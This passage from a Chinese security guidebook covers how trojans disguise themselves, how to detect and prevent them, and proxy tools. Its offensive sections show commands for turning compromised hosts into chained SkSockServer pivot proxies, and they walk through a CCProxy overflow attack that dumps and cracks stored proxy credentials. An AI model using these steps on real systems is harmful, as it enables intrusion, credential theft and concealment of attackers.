Info.innerHTML=L_Intro_text+"＜br＞＜br＞"+L_prompt_Text;

showFiles=true;

document.all.filelist.style.display="";

document.all.brand.style.display="none";

fixsize();

}

Else

{

Alert("警告,您无权浏览该目录");

}

}

通过修改打开行为的代码，就可以实现对某个目录的简单加密，当然，这种加密的目录很容易解开。不使用Web方式打开文件夹，避开执行该程序或直接从DOS中进入该文件夹，都可以绕开密码的输入。

第62招　防范木马的入侵

“黑客”利用计算机系统和软件的漏洞将一段程序植入远端电脑后，可以借助其配套的控制程序来远程控制中毒电脑，肆无忌惮地查看、下载他人电脑中的内容。木马对计算机的危害如此之大，要想彻底查杀木马，应该先识别木马并根据木马的性质特点，将木马从众多的文件中侦查出来，将其彻底删除，从而保证计算机操作系统的安全。

1.木马都有哪些伪装手段

越来越多的人对木马的了解和防范意识的加强，对木马传播起到了一定的抑制作用，为此，木马设计者们就开发了多种功能来伪装木马，以达到降低用户警觉，欺骗用户的目的。

下面就来详细了解木马的常用伪装方法。

1）给木马服务端程序更名。木马服务端程序的命名有很大的学问。如果不做任何修改，就使用原来的名字，谁不知道这是个木马程序呢？所以木马的命名也是千奇百怪。不过大多是改为和系统文件名差不多的名字，如果用户对系统文件不够了解，可就危险了。例如有的木马把名字改为window.exe，还有的就是更改一些后缀名，比如把dll改为d11等（注意看是数字“11”而非英文字母"ll"）等。

不过，安装到系统文件夹中的木马文件名一般是固定的，只要根据一些查杀木马的文章，按图索骥在系统文件夹中查找特定的文件，就可以断定中了什么木马。因此，现在有很多木马都允许控制端用户自由定制安装后的木马文件名，这样就很难判断所感染的木马类型了。

2）文件捆绑。恶意捆绑文件伪装手段是将木马捆绑到一个安装程序上，当用户在进行该程序安装运行时，木马就偷偷地潜入了系统。这种伪装手段是将木马捆绑到一个安装程序上，当安装程序运行时，木马在用户毫无察觉的情况下，偷偷地进入了系统。被捆绑的文件一般是可执行文件（即EXE, COM一类的文件）。这样对一般人的迷惑性很大，而且即使以后重装系统了，如果系统中还保存了那个“游戏”，就有可能再次中招。

3）修改图标。现在已经有木马可以将木马服务端程序的图标，改成HTML、TXT、ZIP等各种文件的图标，这就具备了相当大的迷惑性。不过，目前提供这种功能的木马还很少见，并且这种伪装也极易识破，所以完全不必担心。

4）冒充图片文件。这是许多黑客常用来骗别人执行木马的方法，就是将木马说成为图像文件，比如说是照片等，应该说这样是最不合逻辑的，但却使最多人中招。只要入侵者扮成美眉及更改服务端程序的文件名为“类似”图像文件的名称，再假装传送照片给受害者，受害者就会立刻执行它。

5）利用损坏的zip文件。将一个木马和一个损坏的zip包（可自制）捆绑在一起，然后指定捆绑后的文件为zip图标，这样一来，除非别人看了它的后缀，否则点下去将和一般损坏的zip没什么两样，根本不知道其实已经有木马在悄悄运行了。

6）把木马伪装成文件夹。把木马文件伪装成文件夹图标后，放在一个文件夹中，然后在外面再套三四个空文件夹，很多人出于连续点击的习惯，点到那个伪装成文件夹木马时，也会收不住鼠标点下去，这样木马就成功运行了。识别方法：不要隐藏系统中已知文件类型的扩展名称即可。

7）利用WinRar制作成自释放文件。这是最新的伪装方法，把木马服务端程序和WinRar捆绑在一起，将其制作成自释放文件，这样做了以后是非常难以检查的，即使是用最新的杀毒软件也无法发现！识别的方法是查看WinRar捆绑的木马文件的“属性”，在“属性”对话框中会发现多出两个标签“档案文件”和“注释”，点选“注释”标签，即可发现木马文件。

8）出错信息显示。众所周知，当在打开一个文件时如果没有任何反应，很可能就是个木马程序。为规避这一缺陷，已有设计者为木马提供了一个出错显示功能。该功能允许在服务端用户打开木马程序时，将弹出一个假的出错信息提示框（内容可自由定义），多是一些诸如“文件已破坏，无法打开！”类信息，当服务端用户信以为真时，木马已经悄悄侵入了系统。

9）定制端口。很多老式的木马端口都是固定的，只要查一下特定的端口就可以知道是否感染了木马。现在很多新式的木马都加入了定制端口的功能，控制端用户可以在1024～65535之间任选一个端口作为木马端口（一般不选1024以下的端口），这样，要想判断自己所感染的木马类型就十分麻烦。

10）自我销毁。由于在服务端用户打开含有木马的文件后，木马会将自己复制到Windows的系统文件夹中（一般位于C:\Windows\system(Windows 9X)或C:\WINNT\system32(Windows NT/2000)下），一般来说，原木马文件和系统文件夹中的木马文件大小一样（捆绑文件的木马除外），只要在近来收到的信件和下载的软件中找到原木马文件，再根据原木马的大小去系统文件夹中查找相同大小的文件，判断一下哪个是木马即可。

而木马的自我销毁功能是指安装完木马后，原木马文件将自动销毁，这样服务端用户就很难找到木马的来源，如果没有查杀木马工具的帮助是很难删除木马的。

11）伪装成应用程序扩展组件。此类属于最难识别的木马，也是骗术最高的木马。木马编写者用自己编制的特洛伊dll替换已知的系统dll，并对所有的函数调用进行过滤，对于正常的调用，使用函数转发器直接转发给被替换的系统dll。对于一些事先约定好的特殊情况，dll会执行一些相对应的操作，一个比较简单的方法是一个进程，虽然所有的操作都在dll中完成会更加隐蔽，但大大增加了程序编写的难度。实际上，这样的木马大多数只是使用dll进行监听，一旦发现控制端的连接请求就激活自身，启动一个捆绑端口的进程进行正常的木马操作。操作结束后关掉进程，继续进入休眠状况。

目前，有些木马就是采用这种内核插入式的嵌入方式，利用远程插入线程技术嵌入dll线程或挂接PSAPI，实现木马程序的隐藏，甚至在Windows NT/2000下都达到了隐藏效果。

2.识别出机器中的木马

使用木马克星之类的软件，可以检测到一些采用打开TCP端口监听和写入注册表启动等方式的常见木马，如SUB7、BO2000、“冰河”等，这些检测木马的软件大多都是利用检测TCP连结、注册表等信息，来判断是否有木马入侵的，也可以通过手动来侦测木马。

一旦感觉自己的计算机感染了木马，最好马上用杀毒软件检查一下自己的计算机，然后不管结果如何，也应该再亲自作一次更深入的调查，确保自己机器安全。经常关注新的和出名的木马特性报告，这将对诊断自己计算机的问题很有帮助。

当出现如下几种情况时，最好检查一下自己的计算机是否中了木马：

1）在浏览网站时出现弹出广告窗口是很正常的事，但如果自己根本没有打开浏览器，而浏览器突然自己打开并进入某个网站。

2）在操作计算机时突然弹出一个警告框或询问框，询问用户一些从来没有在计算机上接触过的问题。

3）Windows系统配置莫名其妙地被更改，如屏保显示的文字、时间和日期、声音大小、鼠标灵敏度，还有CD-ROM的自动运行配置等。

4）硬盘长时间地读盘，软驱灯常亮不灭，网络连接及鼠标屏幕出现异常现象。

当出现上述情况之一时，最简单的方法就是使用"netstat-a"命令查看所有网络连接，如果这时有攻击者通过木马连接，就可以通过这些信息发现异常。通过端口扫描方法也可发现一些简单的木马，它们捆绑的端口不能更改，通过扫描这些固定的端口也可以发现木马是否被植入。但没有上面的种种现象并不代表自己就绝对安全，对于那些隐藏得很深，并且想把自己的机器变成一台可以长期使用“肉鸡”的黑客，就需要自己对入侵木马有超强的敏感度了，而这些能力都是在平常实践过程中日积月累而成的。此外，用户还可以通过软件检查系统进程来发现木马，如利用进程管理软件来查看进程，如果发现可疑进程就杀死它。

发现进程可疑简单的方法是：在EXPLORER.EXE、INTERNAT.EXE、KERNEL32.DLL、MPREXE.EXE、MSGSRV32.EXE、SPOOL32.EXE、IEXPLORE.EXE（如果打开了IE）等绝对正常的进程之外，查看是否出现了其他自己没有运行的程序进程。

此外，还可以通过手动检测、木马启动的系统文件和查看注册表等方式，把那些不明的自行启动执行文件清除掉。在发生系统异常之后，最好将网络线断开再诊断木马。

3.防范木马的入侵

木马一旦被植入就有可能对用户造成极大的损失，最好的办法还是将木马拒之于门外，做到防范于未然。采用下面的方法可以使木马入侵的风险大大降低。

1）及时更新Windows安全补丁。因为绝大多数肉鸡都是因为没有及时打补丁，然后就中了别人的网页木马等。

2）安装防火墙和反病毒软件并实时更新病毒库。比如360安全卫士、瑞星杀毒软件、瑞星个人防火墙、金山毒霸、江民、天网等。

3）密码不要太过于简单。密码设置过于简单，或者使用有特别意义的数字（比如：生日、纪念日等）作为密码，容易导致账号被盗。

4）电脑每次开机时检查一下系统。养成良好的习惯，电脑在每次开机时都用心检查一下系统安全。

5）不要执行来历不明的软件。最好是在一些知名的网站下载软件，不要下载和运行那些来历不明的软件。在安装软件时最好用杀毒软件查看有没有病毒，再进行安装。

6）不登录来历不明的网站。不要随意访问游戏中或其他地方出现的各类可疑网址，尤其是虚拟物品买卖和各种领奖的网站，这些网站都极有可能含有木马以盗取用户的账号密码。

7）不接受来历不明的邮件。现在许多木马都是通过邮件来传播的，当收到来历不明的邮件时，请不要打开，应尽快删除。并加强邮件监控系统，拒收垃圾邮件。

8）尽量少用共享文件夹。如果必须使用共享文件夹，则最好设置账号和密码保护。千万不要将系统目录设置成共享，最好将系统下默认共享的目录关闭。Windows系统默认情况下将目录设置成共享状态，这是非常危险的。

9）不要随便留下个人资料。注意不要在聊天室内公开自己的E-mail地址等个人资料，因为黑客进行攻击的第一步，就是处心积虑地在网络上收集一切有用的资料，在网络上公开的个人信息很有可能会成为黑客的垫脚石。更不要将重要的口令和资料存放在计算机中，以防止黑客侵入计算机获取这些信息。

4.在“Windows进程管理器”中管理进程

所谓进程是指系统中应用程序的运行实例，是应用程序的一次动态执行，是操作系统当前运行的执行程序。通常按"Ctrl+Alt+Delete"组合键，即可打开【Windows任务管理器】窗口，如图6-59所示。在“进程”选项卡中可对进程进行查看和管理，如图6-60所示。

图　6-59　【Windows任务管理器】窗口

图　6-60　“进程”设置窗口

要想更好地、更全面地对进程进行管理，还需要借助于“Windows进程管理器”软件的功能，具体的操作步骤如下。

步骤1：解压缩下载的“Windows进程管理器”软件，双击"PrcMgr.exe"启动程序图标，即可打开【Windows进程管理器】窗口，在其中显示了系统当前正在运行的所有进程，如图6-61所示。

图　6-61　【Windows进程管理器】窗口

步骤2：其列表内容与【Windows任务管理器】窗口中的进程列表相同。选择列表中的其中一个进程选项之后，单击【描述】按钮，即可对其相关信息进行查看，如图6-62所示。

图　6-62　查看进程描述信息

步骤3：单击【模块】按钮，即可查看该进程的进程模块，如图6-63所示。在进程选项上右击进程选项，从快捷菜单中可以进行一系列操作，如图6-64所示。

图　6-63　查看进程模块

图　6-64　操作进程选项

步骤4：如果要查看某进程选项的属性，只用选中此选项之后，单击【查看属性】按钮，即可从打开【属性】对话框中进行查看，如图6-65所示。在“端口监听”选项卡中可查看进程的相应端口，如图6-66所示。

图　6-65　【属性】对话框

图　6-66　“端口监听”设置窗口

步骤5：在“系统信息”选项卡中可查看系统的有关信息，并可以监视内存和CPU的使用情况，如图6-67所示。

图　6-67　“系统信息”设置窗口

第7章
网络代理与追踪技术

重点提示

♂代理服务器与代理软件

♂架设超级Sock5代理

♂代理软件CCProxy中的漏洞

♂利用SocksCap32设置动态代理

♂IP动态自由切换

♂组合代理服务器的深入应用

♂防范远程跳板式入侵

本章精粹：

本章主要介绍了几款常用网络代理与追踪软件的使用方法，有助于读者在以后应用中避免更多网络追踪和攻击。

为了更好地隐藏自己，黑客在攻击前往往会先找到一些疏于管理或管理员水平不高的网络主机（即所谓的“肉鸡”）作为代理服务器，通过这些主机再去攻击目标系统。有了这些代理服务器，黑客行踪就不易被追踪者所查到，就可以在目标主机中为所欲为了。

第63招　代理服务器与代理软件

在找到远程主机/服务器的系统漏洞之后，入侵者往往会在入侵时使用各种方法隐藏自己，尽量不去直接与目标主机接触，以免直接暴露给远程主机/服务器。在隐藏自己的各种手段中，使用代理服务器和代理软件是最为常见的一种。

1.用“代理猎手”找代理

代理猎手是一款集搜索与验证于一身的软件，可以快速查找网络上的免费Proxy。其主要特点为：支持多网址段、多端口自动查询；支持自动验证并给出速度评价；支持后续的时间预测；支持用户设置最大连接数（可以做到不影响其他网络程序）并运行自动查找最新版本。最大的特点是搜索速度快，最快可以在十几分钟搜完整个B类地址的65536个地址。

代理猎手可以通过百度、雅虎、新浪等搜索引擎查找代理猎手下载链接进行下载。

（1）添加搜索任务

在代理猎手安装完毕后，还需要添加相应的搜索任务，具体的操作步骤如下。

步骤1：在【代理猎手】窗口中选择【搜索任务】→【添加任务】菜单项，即可打开【添加搜索任务】对话框，如图7-1所示。

图　7-1　【添加搜索任务】对话框

步骤2：在“任务类型”下拉列表框中有“定时开始搜索”、“搜索完毕关机”和“搜索网址范围”三个下拉列选项（这里选取“搜索网址范围”选项），单击【下一步】按钮，即可打开【地址范围设置】对话框，如图7-2所示。

图　7-2　【地址范围设置】对话框

步骤3：单击【添加】按钮，即可弹出【添加搜索IP范围】对话框，在其中根据实际情况设置IP地址范围，如图7-3所示。单击【确定】按钮，即可完成IP地址范围的添加操作，如图7-4所示。

图　7-3　【添加搜索IP范围】对话框

图　7-4　添加IP范围

步骤4：在【地址范围设置】对话框中若单击【选取已定义的范围】按钮，则可弹出【预定义的IP地址范围】对话框，如图7-5所示。单击【添加】按钮，即可打开【添加预设IP地址范围】对话框，如图7-6所示。

图　7-5　【预定义的IP地址范围】对话框

图　7-6　【添加预设IP地址范围】对话框

步骤5：在其中根据实际情况设置IP地址范围，并输入相应的地址范围说明，单击【确定】按钮，即可完成添加操作，如图7-7所示。如果在【预定义的IP地址范围】对话框中单击【打开】按钮，则可打开【读入地址范围】对话框，如图7-8所示。

图　7-7　添加结果显示

图　7-8　【读入地址范围】对话框

步骤6：在其中选择代理猎手已预设IP地址范围的文件（这里选择"HongKong.ipr"文件），并将其读入【预定义的IP地址范围】对话框中，如图7-9所示。再选择需要搜索的IP地址范围，单击【使用】按钮，即可将预设的IP地址范围添加到搜索IP地址范围中。

图　7-9　选择IP地址范围

步骤7：单击【下一步】按钮，即可打开【端口和协议】对话框，如图7-10所示。单击【添加】按钮，即可打开【添加端口和协议】对话框，在其中根据实际情况输入相应的端口，如图7-11所示。

图　7-10　【端口和协议】对话框

图　7-11　【添加端口和协议】对话框

步骤8：单击【确定】按钮，即可完成添加操作，如图7-12所示。单击【完成】按钮，即可完成搜索任务的设置。

图　7-12　完成端口和协议的添加

（2）设置参数

在设置好搜索的IP地址范围之后，就可以开始进行搜索了，但为了提高搜索效率，还有必要先设置一下代理猎手的各项参数。具体的操作步骤如下。

步骤1：在【代理猎手】窗口中选择【系统】→【参数设置】菜单项，即可打开【运行参数设置】对话框，如图7-13所示。在“搜索验证设置”选项卡中可设置“搜索设置”、“验证设置”、“局域网或拨号上网”、“搜索方法”和“其他设置”等选项（这里勾选“启用先ping后连的机制”复选框，以提高搜索效果）。

图　7-13　设置搜索参数

小技巧　代理猎手默认的搜索、验证和Ping的并发数量分别为50、80和100，如果用户的带宽无法达到，就最好相应地减少各个并发数量，以减轻网络的负担。

步骤2：此外，用户还可在“验证数据设置”选项卡中添加、修改和删除“验证资源地址”及其参数，如图7-14所示。

图　7-14　设置验证参数

步骤3：在“代理调度设置”选项卡中还可设置代理调度参数，以及代理调度范围等选项，如图7-15所示。在“其它设置”选项卡中可设置拨号、搜索验证历史、运行参数等选项，如图7-16所示。

图　7-15　设置代理调度参数

图　7-16　其他参数设置

步骤4：在设置好代理猎手的各项参数之后，选择【搜索任务】→【开始搜索】菜单项，即可开始搜索设置的IP地址范围。

（3）查看搜索结果

在搜索完毕之后，就可以查看搜索的结果了，具体的操作步骤如下。

步骤1：选择“搜索结果”选项卡，其中“验证状态”为Free的代理，即为可以使用的代理服务器，如图7-17所示。一般情况下，验证状态为Free的代理服务器很少，但只要验证状态为"Good"就可以使用了。

图　7-17　查看搜索结果

步骤2：在找到可用的代理服务器之后，将其IP地址复制到【代理调度】选项卡中，代理猎手就可以自动为服务器进行调度了，多增加几个代理服务器可以有利于网络速度的提高，如图7-18所示。

图　7-18　添加代理调度

小技巧　用户也可以将搜索到的可用代理服务器IP地址和端口，输入到网页浏览器的代理服务器设置选项中，这样，用户就可以通过该代理服务器进行网上冲浪了。

2.WaysOnline代理实战上手

局域网主机受防火墙保护或阻隔，不能被外网用户访问。很多时候如果想共享文件，又不想关掉防火墙，在经过WaysOnline通讯代理之后，就可以实现网间互相访问。

在应用Ways Online之前，首先需要对其进行设置。

（1）账号设置

第一次运行或更改账号设置，在【账号】选项卡中进行填写，如图7-19所示。Ways OnlineV2必须填入有效（通过购买或在网站免费登记）的账号，才能验证通过。否则，会有验证失败的错误提示。在输入账号后需重启Ways OnlineV2，状态栏显示服务端口，如图7-20所示。同时，系统托盘栏的小图标会由灰色变成绿色，表示系统已完成启动并准备就绪。若运行等待一段时间后，仍未正常启动，需要转到【信息】选项卡查看具体错误信息，同时检查配置是否正确，IE是否能上网。

图　7-19　填写账号

图　7-20　显示服务端口

（2）代理设置

若Ways OnlineV2能够启动，但是不能使用或是通过代理服务器上网，请在【代理】选项卡中检查代理服务器配置。Ways OnlineV2目前支持直接上网、通过HTTP代理或Socks代理上网三种通讯方式。一般情况下，选“自动”会根据用户的IE配置情况自动选择适合的配置，如图7-21所示。但有时候内部网虽然不设置代理服务器，但会检查通讯格式，此时选“自动”认为直接上网方式，导致无法传输数据。请指定用HTTP代理，强制使用HTTP通讯格式。指定"HTTP"代理还具有防断线功能，若网络频繁断线，也可以指定使用"HTTP"代理类型，代理地址和端口不填或为空即可。

图　7-21　设置代理服务器

（3）主机设置

通过SocksOnline V2可让互联网或其他SocksOnline V2用户访问自己的主机，可开放自己的Web服务提供互联网访问或联网打游戏。

具体的设置方法为：先启用主机代理功能，再勾选“启用主机代理（允许到本地主机连接）”复选项。若希望限定用户访问的端口或指定访问的用户，则勾选“只允许以下访问”复选项并指定用户名或指定端口。若指定多个，可以用“，”号隔开，如图7-22所示。

图　7-22　启用主机代理

（4）服务设置

通过【设置】选项卡和【服务】选项卡，可修改系统的默认服务端口和启动相关的服务。在如图7-23所示的【设置】选项卡中，“服务端口”若启动时报端口只能使用一次，表示服务端口有冲突，不能使用导致启动失败，可改成其他端口试试，如1081。“允许IP使用”是让别的IP地址，可以使用本机的Ways Online V2上网，IP指定可以用“-”号指定一段连续的IP段。不同IP以“，”分隔，例如，“192.168.1.2，192.168.1.10-192.168.1.89”。

图　7-23　【设置】选项卡

“启用断线恢复”是防止网络断线的断线恢复功能，启用了以后可以有效防止网络断线，但相应的速度会有所降低，系统默认是灰色，并未完全开启。尝试关闭该功能，若有部分应用关闭后不能正常使用，请恢复开启断线恢复。切换至【服务】选项卡，“启用DNS查询”是在本机建立DNS查询服务，如图7-24所示。启用后只要在本机的DNS服务器里加入自己的IP或“127.0.0.1”，即可支持域名到IP的转换查询。

图　7-24　【服务】选项卡

（5）映射设置

映射支持将本地端口转换成Internet地址和端口。部分应用可能不支持Socks或HTTP代理接口，可以通过端口映射代理实现。如MS Outlook不支持代理，可以将本机端口和Email服务器做个映射，将本机变成Email服务器。如：若要接收21cn.com的邮件，只要将本机“110”端口和21cn的邮件服务器"pop3.21cn.com:110"，通过建立映射关系，Outlook只要收取"localhost:110"，就能收到"pop3.21cn.com:110"的邮件了。

在如图7-25所示的【映射】选项卡中，“端口”文本框中输入本机端口号，“到”文本框中输入建立映射关系的Internet服务器端口，单击【增】按钮即可。

图　7-25　【映射】选项卡

删除映射时，输入端口号，【增】就会变成【删】，点击【删】即可删除映射。地址映射是通过映射改变连接的目标地址。如：将192.168.0.12改变为10.128.11.28可将目标为192.168.0.12地址重定向到Waysonline主机10.128.11.28。

（6）查看信息

信息选项卡中存放使用过程中产生的错误或提示信息，如图7-26所示。用户如果遇到问题，可以查看【信息】选项卡的内容，判断问题所在。所有Waysonline服务器均支持Socks4/4a/5接口。只需将服务器地址填入软件的socks代理设置，无需在客户端安装运行SocksOnline。服务器地址请向客服咨询或参考服务区划分说明。

图　7-26　【信息】选项卡

3.代理跳板建立的全攻略

Socks代理软件包括两个文件，一个是SkSockServer.exe，用于将一个现有“肉鸡”制作成Socks5代理服务器；另一个是图形界面的配置文件SkServerGUI.exe，用于设定跳板网络中所经过的代理跳板，使其成为一个跳板网络。

（1）在“肉鸡”上安装跳板

先将SkSockServer.exe复制到“肉鸡”上，“肉鸡”的操作系统要求是Windows NT/2000/XP。再通过Telnet登录到“肉鸡”，在命令提示符窗口中执行下列命令，将文件SkSockServer.exe安装到“肉鸡”上。为方便起见，将该文件安装到“肉鸡”的C盘根目录下。便把一个“肉鸡”改造成了一台代理服务器。按照同样方法，可以制作多级代理服务跳板。

sksockserver-install（安装服务）。

sksockserver-config port 8080（自行设置代理服务的端口，须和后面的设置一致）。

sksockserver-config starttype 2（选择启动方式，这里“2”表示随机器启动）。

net start skserver（启动代理服务）。

（2）配置客户端

将“肉鸡”制作成一台代理服务器之后，还需在本地对其客户端进行一些相应的配置。具体的操作步骤如下。

步骤1：双击运行SkServerGUI.exe之后，在SkServerGUI主窗口中选择【配置】→【客户端】菜单项，即可打开【客户端设置】对话框，如图7-27所示。

图　7-27　设置客户端

步骤2：在"IP"文本框中输入IP地址，再在“掩码”文本框中输入“255.255.255.255”，并勾选“E允许”复选框后，单击【增加】按钮，即可将其添加到客户端列表中。

步骤3：单击【OK】按钮，即可完成对客户端的设置。客户端设置决定了本程序代理的范围，可以防止本地计算机成为别人的跳板，从而增强安全性。

（3）设置代理跳板

在设置好客户端之后，还需要设置跳板的有关选项，将多个跳板进行连接，形成一个跳板网络。具体的操作步骤如下。

步骤1：在SkServerGUI主窗口中选择【配置】→【经过的SkServer】菜单项，即可打开【经过的SkServer】对话框，如图7-28所示。

图　7-28　设置代理跳板

步骤2：在相应文本框中输入已验证通过的IP地址、端口以及代理跳板的描述，并勾选“E允许”复选框，单击【增加】按钮，即可将该代理添加到代理跳板的列表中。

步骤3：在选取某个已经添加的代理跳板之后，单击【测试】按钮，即可弹出一个【Test SkServer】对话框，如图7-29所示。

图　7-29　测试代理跳板

步骤4：单击【开始】按钮，即可检测该代理跳板是否能够正常连接，一个"Y"表示使用一级跳板。如果要使用二级跳板，则可在代理列表框中选择需要作为二级跳板的代理并勾选“E允许”复选框，单击【更改】按钮，即可使用二级跳板。

提示　在代理跳板列表的"Active"列中有"Y"，表示该代理加入使用的行列，如果在添加时没有勾选“E允许”复选框，则标记为"N"，表示该代理没有被使用。

步骤5：在全部设置好之后，单击【OK】按钮，即可完成设置。

4.设置运行参数

最后需要对运行参数进行一下设置，具体方法如下。

步骤1：在SkServerGUI.exe主窗口中选择【配置】→【运行选项】菜单项，即可打开【Run Option Setting】对话框，如图7-30所示。

图　7-30　设置运行参数

步骤2：在“服务运行端口”文本框中输入本软件的运行端口之后，在其中选择所需的复选框，最后单击【OK】按钮，即可结束设置操作。

步骤3：在安装并设置完跳板的所有相关选项之后，在SkServerGU主窗口中选择【命令】→【开始】菜单项，即可启动所制作代理跳板。

通过该代理跳板来浏览网页、使用QQ、MSN等聊天工具、使用网络蚂蚁等下载工具、利用RealPlay在线视听等，甚至还可以通过它使用某些FTP工具上。

第64招　代理软件CCProxy中的漏洞

CCProxy可以完成代理共享上网和客户端代理权限管理。只要局域网内有一台机器能够上网，其他机器就可以通过这台机器上安装的CCProxy来代理共享上网，最大程度地减少了硬件费用和上网费用。只需要在服务器上CCProxy代理服务器软件里进行账号设置，就可以方便地管理客户端代理上网的权限。

CCProxy代理软件因其设置简单和使用方便等特点，成为国内最受欢迎的代理服务器软件，其主界面如图7-31所示。它不但支持常见的HTTP和Socks代理，而且还支持FTP和Telnet这类不常用的代理，如图7-32所示。

图　7-31　CCProxy界面

图　7-32　设置代理服务器

它还可以控制用户代理上网的权限，设置访问代理服务器的用户名和密码，如图7-33所示，功能非常强大。但这款代理软件存在一个溢出漏洞，攻击者可通过该漏洞直接获得代理服务器的控制权。下面通过模拟黑客攻击过程介绍利用该软件漏洞进行攻击的方法。

图　7-33　设置用户名和密码

（1）寻找安装CCProxy代理软件计算机

要想利用CCProxy的安全漏洞进行攻击，就必须先找到安装了CCProxy代理软件的计算机。在默认安装情况下，CCProxy会将“23”作为Telnet服务的代理端口，“2121”作为FTP服务的代理端口。因此，只需在这些端口上进行信息探测，即可发现目标主机是不是CCProxy代理服务器。具体方法如下。

步骤1：在“命令提示符”窗口运行“Telnet目标IP端口，如Telnet 192.168.0.2:23”。

步骤2：如果目标代理服务器是处于CCProxy的免密码状态（即未曾设置代理用户名和密码），则会出现Banner信息"CCProxy Telnet Server Ready"，如图7-34所示。

图　7-34　查看Telnet命令返回信息

如果目标代理服务器处于CCProxy密码状态（即设置过代理用户名和密码），则会提示输入用户名（随便输入几个字符后会出现错误提示"User Invalid"）。这些信息都是CCProxy代理软件特有的提示信息，可以很容易地确定目标代理服务器是否安装了CCProxy。

（2）利用漏洞进行攻击

确定目标计算机后，从网上下载一个名称为ccproxyexp.exe的攻击CCProxy代理软件工具，通过它可以获得CCProxy代理软件的控制权。具体的操作方法如下。

步骤1：在“命令提示符”窗口中运行“ccproxyexp目标IP：端口”命令，如图7-35所示。这里的端口应该是CCProxy的主端口，默认是808。

图　7-35　输入ccproxyexp命令

步骤2：执行命令之后，溢出工具将询问目标计算机是否与本地计算机在一个网段内，如图7-36所示。若是则输入“y”，否则输入“n”。输入“y”后，就可以开始向目标计算机进行溢出攻击，并最终获得此代理服务器的控制权了。

图　7-36　选择目标IP与本地IP是否在同一网段

（3）破解代理用户密码

获得目标计算机代理服务器控制权后，攻击者还可以破解该代理服务器的登录用户及其密码。CCProxy将用户名和密码保存在安装目录的"AccInfo.ini"文件中，在溢出命令行中转到CCProxy的安装目录并输入命令"type AccInfo.ini"，即可看到该文件的格式如下：

[System]

UserCount=1

AuthModel=1

AuthType=2

TimeScheduleCount=0

WebFilterCount=0

[User001]

UserName=satelli

Password=943948951950951951951

MACAddress=

IPAddressLow=0.0.0.0

IPAddressHigh=0.0.0.0

ServiceMask=254

MaxConn=-1

BandWidth=-1

WebFilter=-1

TimeSchedule=-1

EnableUserPassword=1

EnableIPAddress=0

EnableMACAddress=0

其中"UserName=satelli"字段是指代理用户名为"satelli"，而"Password=943948951 950951951951"字段是指代理用户名的密码（呈加密状态）。先将查看的密码文件内容保存为AccInfo.ini，再在本机中安装一个CCProxy（不需做任何设置），最后将AccInfo.ini复制到其安装目录中。

这样，打开本地的CCProxy并进入“账号”面板，即可发现未经过设置的验证方式已经变为“用户/密码”模式，而下面的状态栏中显示用户为"satelli"。查看一下这个账号的状态，即可发现密码以“*”显示，如图7-37所示。通过“密码查看器”可以将密码还原即得到此代理用户的明文密码为“8301000”，如图7-38所示。

图　7-37　查看用户密码

图　7-38　密码查看器

在得到账号和密码之后，还需测试一下所得到的用户名和密码是否能够正常使用。这里以QQ代理设置为例，进入QQ参数设置的【代理设置】面板中选择“Socks 5代理服务器”。先在“服务器”一栏输入目标代理服务器的IP地址，再在用户名和密码处填写得到的账号和密码并单击“测试”按钮，即可显示信息“代理服务器工作正常”，说明成功获得代理权。

注意　利用该漏洞攻击者可为自己找到大量的免费代理服务器，网管如果不重视它，自己的服务器就难免成为别人的跳板，甚至可能失去对服务器的控制权。

避免这类攻击的办法除升级CCProxy的版本外，还可将里面所有默认端口修改为不常见的端口，以避开这类大规模的扫描查找行为，从而在一定程度上避免服务器遭受攻击。

第65招　利用SocksCap32设置动态代理

SocksCap32代理软件是一款基于Socks协议的网络代理客户端软件，它能将指定软件的任何Winsock调用转换成Socks协议的请求，并发送给指定的Socks代理服务器。可用于使基于HTTP、FTP、Telnet等协议的软件，通过Socks代理服务器连接到目的地。

使用SocksCap32软件前，需要先有一个Socks的代理服务器（不管是用代理猎手找出来的，还是从各个代理网站中得到的，就是要有一个）。目前，SocksCap32软件可以通过搜索引擎找到其下载地址，并将其下载到本地磁盘中。

1.建立应用程度标识

当第一次运行SocksCap32程序时，将显示如图7-39所示的对话框。在单击【Accept】按钮同意许可协议内容之后，才能进入SocksCap32的主窗口，如图7-40所示。

图　7-39　同意许可

图　7-40　SocksCap32的主窗口

建立应用程序标识的具体操作步骤如下。

步骤1：在SocksCap32的主窗口中单击【New（新建）】按钮，即可打开【New Application Profile（新建应用程序标识项）】对话框，在“Profile Name（标识项名称）”文本框中输入新建标识项的名称，如图7-41所示。

图　7-41　【New Application Profile】对话框

步骤2：单击【Browse（浏览）】按钮，即可打开【Browse for application】对话框，在其中选择需要代理的应用程序，如图7-42所示。

图　7-42　选择应用程序

步骤3：单击【打开】按钮，即可将所选应用程序的文件名称和路径信息，添加到【New Application Profile（新建应用程序标识项）】对话框中；再单击【确定】按钮，则该应用程序（添加的应用程序可以是E-mail工具、FTP工具、Telnet工具，以及当今最热门的联网游戏等）添加完毕，如图7-43所示。

图　7-43　添加应用程序

2.设置选项

设置SocksCap32选项的具体操作步骤如下。

步骤1：在SocksCap32的主窗口中选择【File（文件）】→【Settings（设置）】菜单项，即可打开【SocksCap Settings（SocksCap设置）】对话框，如图7-44所示。

图　7-44　【SocksCap Settings】对话框

步骤2：在其中可设置已经通过验证的代理服务器及其端口号（如220.47.7.27，端口号1070），并可选择不同的Socks版本（通常选择“Socks版本5”），并选择其域名的解析方式。如果用户查找的代理服务器需要用户名和密码，且已获得该用户名和密码，则可勾选“用户名/密码”复选框。若勾选“用户名/密码”复选框，则在单击【确定】按钮之后，需要在如图7-45所示的对话框中填入用户名和密码。

图　7-45　输入用户名和密码

步骤3：在【SocksCap Settings】对话框中选择"Direct Connections"选项卡，在"Direct Addresses"选项区中可添加直接连接的IP地址，如192.167.0.2，若是一个IP地址范围则可输入219.139.100.30；也可输入域名，如.mydomain.com，如图7-46所示。

图　7-46　"Direct Connections"选项卡

步骤4：在"Applications and Libraries"选项区中可输入需要直接连接的应用程序，在"SocksVersion 5 Direct UDP Ports"选项区中可设置直接连接的UDP端口号。

步骤5：在"Log"选项卡中可进行相应的设置，如图7-47所示。单击【确定】按钮，即可结束SocksCap32的选项设置。

图　7-47　"Log"选项卡

在设置好代理选项并添加好代理应用程序后，在应用程序列表中选取需运行的应用程序，选择【文件】→【通过Socks代理运行】菜单项，即可启动该应用程序并通过代理进行登录。如果需要使某个应用程序通过SocksCap32代理，则必须通过SocksCap32进行启动。

第66招　IP动态自由切换

